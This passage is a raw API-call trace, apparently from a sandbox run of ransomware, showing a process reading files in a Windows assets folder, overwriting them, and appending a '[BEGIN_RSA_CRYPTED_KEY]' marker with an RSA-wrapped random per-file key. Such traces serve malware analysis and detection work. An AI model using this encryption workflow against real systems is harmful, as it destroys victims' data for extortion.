lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x23ff [0212.543] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.543] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.543] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.543] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.544] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.544] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="A3AarrAlvRyKRoWO4HHGsndwfMV+qBonkljtGLnC2pttM4hL7ZJMUAQ2KbfKXcQV\nBsTUNYvwPZua59ZJRjEvuCYgx/0M57cbYg1fI7x8pvjMbH+OKqHTE72eDn19aOhv\nAVaOnqtv24AeSl9c1rCeLTBeLsDCoLE815K6Kyxnt4sHRHC0EDyVjLowzL1Kev3h\n6uW3hh4ogO+WHVO49D2e+3u2+Rg0RuX5qx3by3Hd3VdSTVTAgRohewdGdEyZ8nE2\n8BYtK5qRJVZxrVEaDpemxWzsYsAqmLvQRFc9bLrm4oCdjSijZKywOhpw8x8acZCE\nGQbNSgdibwC3WPSjV5wZRA==\n", pcchString=0x2e3f9a8) returned 1 [0212.544] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.544] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.544] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.544] CloseHandle (hObject=0x1840) returned 1 [0212.546] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.546] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\fc645b17a10968adbd8a7b027847f65629eb8a2b5625c91bd6acafb486aa55db", dwFileAttributes=0x80) returned 1 [0212.547] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\fc645b17a10968adbd8a7b027847f65629eb8a2b5625c91bd6acafb486aa55db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\fc645b17a10968adbd8a7b027847f65629eb8a2b5625c91bd6acafb486aa55db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0212.547] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=475255) returned 1 [0212.547] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x74077, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x74077, lpOverlapped=0x0) returned 1 [0212.610] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-475255, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.610] WriteFile (in: hFile=0x1840, lpBuffer=0x33c5090*, nNumberOfBytesToWrite=0x74077, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33c5090*, lpNumberOfBytesWritten=0x2e3f9b4*=0x74077, lpOverlapped=0x0) returned 1 [0212.611] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x74077 [0212.611] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.612] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.612] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.612] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.612] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.613] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="SYM8b4ZgWC5vcV8CvbeJjDhpbdvLYSctFVOl/lZccvH8wc6J2BbcwLdbX8WIoDKL\nhvQ6QQ9GM3lIcIKU4LLIOF4jdNICa7ydhFm1OAEZ8vdNtFh9Yb/J4tsC2bK4bawP\newQfSGcHPhi/5PLuL+e7SarB+vR9R6dKIodvRsa2C7SYXn+ZeBHZe1OYvFYK/8mD\nD4OrVtMy9UhO87a9ZTyLYL6udt4FV73kRidhlWBTTclWo0ZZe5HuxrBoFsRHirNq\nkMKrLPQ/V7IIAJYtGvusH2F9eKsuUc+I5X6bU8aXPOj04nJD+5auypyg035UeS5d\nCVzwqDsx7gEmfpjkx90QDA==\n", pcchString=0x2e3f9a8) returned 1 [0212.613] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.613] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.613] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.613] CloseHandle (hObject=0x1840) returned 1 [0212.614] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.615] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\f47711701e5b4c05b7eac6fe1c0548c02e4c03277ac900009f13478db199354d", dwFileAttributes=0x80) returned 1 [0212.615] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\f47711701e5b4c05b7eac6fe1c0548c02e4c03277ac900009f13478db199354d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\f47711701e5b4c05b7eac6fe1c0548c02e4c03277ac900009f13478db199354d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0212.616] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=721) returned 1 [0212.616] ReadFile (in: hFile=0x1840, lpBuffer=0x66ea30, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesRead=0x2e3f9b4*=0x2d1, lpOverlapped=0x0) returned 1 [0212.709] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-721, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.709] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x2d1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2d1, lpOverlapped=0x0) returned 1 [0212.710] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2d1 [0212.710] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.710] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.710] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.710] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.710] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.710] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="2sGLj/6pK/QTUjiXCmo3hE1vrCXXEPvYXem6epAUo6Ahllnm7faw5cCRuoe4xW1H\nh+BBPLLHG9EneNImFDq68GDV0XCHTZnxqiadyFOzdS2tjNu6fM+u6fxqP9SjJF6o\nDoePf2YqJwt5R52O7eTqHzLUo1GNPRjHN1Kh5+Av5FcMQWC2tSzESAtV4Uy8BjoM\nrdCgwrtUhH/3UU0OqXwlHNrPZ1P+/PMzyjG8nrGM3/jgUWx2N5Y8FclmCDVMe/Jf\nKEvs1PLW1UUbKwXSLgu+NYLmQmC1+17soKe1piaXdSXKqk6jjsEOkVCnKNKeC1R3\ntB6PWF92z12xYErPauajag==\n", pcchString=0x2e3f9a8) returned 1 [0212.710] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.710] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.710] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.710] CloseHandle (hObject=0x1840) returned 1 [0212.712] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.713] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\e730d1596cb42c148e26b43dcb0db83d670295440e1a9957c20937b859c39a1d", dwFileAttributes=0x80) returned 1 [0212.713] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\e730d1596cb42c148e26b43dcb0db83d670295440e1a9957c20937b859c39a1d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\e730d1596cb42c148e26b43dcb0db83d670295440e1a9957c20937b859c39a1d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0212.714] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=15501) returned 1 [0212.714] ReadFile (in: hFile=0x1840, lpBuffer=0x2f37028, nNumberOfBytesToRead=0x3c8d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37028*, lpNumberOfBytesRead=0x2e3f9b4*=0x3c8d, lpOverlapped=0x0) returned 1 [0212.918] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-15501, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.918] WriteFile (in: hFile=0x1840, lpBuffer=0x2f3acc0*, nNumberOfBytesToWrite=0x3c8d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3acc0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3c8d, lpOverlapped=0x0) returned 1 [0212.918] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3c8d [0212.919] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.919] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.919] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.919] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.919] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.919] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="MM06pkJdOK3ZFE4a/jv1xd1b1ZS81cPCSa+cTAborfHgMDznGY0CcS7BncezhTx+\nghlaOt/B+QxuhBoFtcwUhyzSsHffQN+TPep+3/cdl4ONdm/eQvxHKk2CqBErrw2p\ngh4LMod5R1DQKxYaViYvFN2k/Ru8aBwT625gn7zBPvDLhcYmPOdiA5MTjaK30iCZ\nn0AxTsrDfgEod8aoJaXs4aH+v/bZ6u63HGJYGoOMHzaDJb4SUBe397X0A3nDu9B6\n3pUfopSGKyUMSCOUY+P0DZknT3d+UdFtN5qK5M5UuYN6Pe9Cj6+bPED/6EYIhFJ3\nZpknIl+H8Bkge5O1orkDbw==\n", pcchString=0x2e3f9a8) returned 1 [0212.919] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.919] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.919] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.919] CloseHandle (hObject=0x1840) returned 1 [0212.921] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.921] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\e445565718ea27669f03db21a78ba05b686a73fdaf94b6245546f0ca789eef60", dwFileAttributes=0x80) returned 1 [0212.922] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\e445565718ea27669f03db21a78ba05b686a73fdaf94b6245546f0ca789eef60" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\e445565718ea27669f03db21a78ba05b686a73fdaf94b6245546f0ca789eef60"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0212.922] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17440) returned 1 [0212.922] ReadFile (in: hFile=0x1840, lpBuffer=0x2f37028, nNumberOfBytesToRead=0x4420, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37028*, lpNumberOfBytesRead=0x2e3f9b4*=0x4420, lpOverlapped=0x0) returned 1 [0213.027] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-17440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.027] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x4420, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4420, lpOverlapped=0x0) returned 1 [0213.028] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4420 [0213.028] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.028] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.028] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.028] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.028] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.028] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="/W6+XBV/a4uNz2SVBZIr+EHlRsGsSacuBb9sH4ksYLCcHEGWjUVggThxgDy8KsfN\ngGKBiXZHoPeC++cVqaA3kQO94JmRCW3O6d0fiZUdH0xaq6kGHC5xQ5cqepi35ef0\naPZQoeVK85/DPBojv4SVcbdaWFRQf6aMc3o2roE2hJLKpSlHdHlrBo0JDosRvJh1\nPf07WhIJoAG51VpdxVie2v5j6nQJpROiVuewVX4XuDrW8F2zGnzN00VKUmpQE46n\ndb1UqTQqYhHARF5rhUu1TiSXSLy12GHtSoXvR/yD2y02AaU1iNzsJNy4H+hf+9yY\ngxhLRQpFkzLdoqIIEatnCg==\n", pcchString=0x2e3f9a8) returned 1 [0213.028] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.029] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.029] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.029] CloseHandle (hObject=0x1840) returned 1 [0213.042] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.043] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\e415df93dbd7c60fc7b2dc2f8084de15899c2037b0dbb4c5e024459d2f07a814", dwFileAttributes=0x80) returned 1 [0213.043] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\e415df93dbd7c60fc7b2dc2f8084de15899c2037b0dbb4c5e024459d2f07a814" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\e415df93dbd7c60fc7b2dc2f8084de15899c2037b0dbb4c5e024459d2f07a814"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.043] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1123125) returned 1 [0213.044] ReadFile (in: hFile=0x1840, lpBuffer=0x67e020, nNumberOfBytesToRead=0x112335, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x67e020*, lpNumberOfBytesRead=0x2e3f9b4*=0x112335, lpOverlapped=0x0) returned 1 [0213.123] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1123125, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.123] WriteFile (in: hFile=0x1840, lpBuffer=0x3544020*, nNumberOfBytesToWrite=0x112335, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3544020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x112335, lpOverlapped=0x0) returned 1 [0213.128] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x112335 [0213.128] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.128] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.128] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.128] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.128] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.128] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="xnPCluzslHG5sLXOot8+P0rjAAMOpzpVnvmEK2jIZmZk+F/ViqN3bZT+I7CBJbWY\n+l0h85SPYjI1kTF+gI3xC624Sh1Jq+svBb9yjTEydn+x+pbKlTKf3hAKZFbjHtvm\neLFxng0+YwjihnIhGuI4QO2mfcxpzFWmKv/iLC0Dun5wY532SAtLpmZalB3OlRjX\nc7rvdrbLxq4aDHWQQrtBhgnfJ6RefNu5AyfEqhBrsUbJmvIUARtE72RBEVwIkTUT\nHWDw2FnWdLaGYO+NPHespRQyPvHkQhPdccKP6RtUc2QUI9KUN6t9kKYUfOf6uHbH\nCd1YimroDxDJQtNGhgvUuQ==\n", pcchString=0x2e3f9a8) returned 1 [0213.129] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.129] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.129] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.129] CloseHandle (hObject=0x1840) returned 1 [0213.130] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.130] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\dbd5a16e8ac2fb7349e67e0aaf70d60e2641485dd003bce430f036f0de827338", dwFileAttributes=0x80) returned 1 [0213.131] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\dbd5a16e8ac2fb7349e67e0aaf70d60e2641485dd003bce430f036f0de827338" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\dbd5a16e8ac2fb7349e67e0aaf70d60e2641485dd003bce430f036f0de827338"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.131] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: 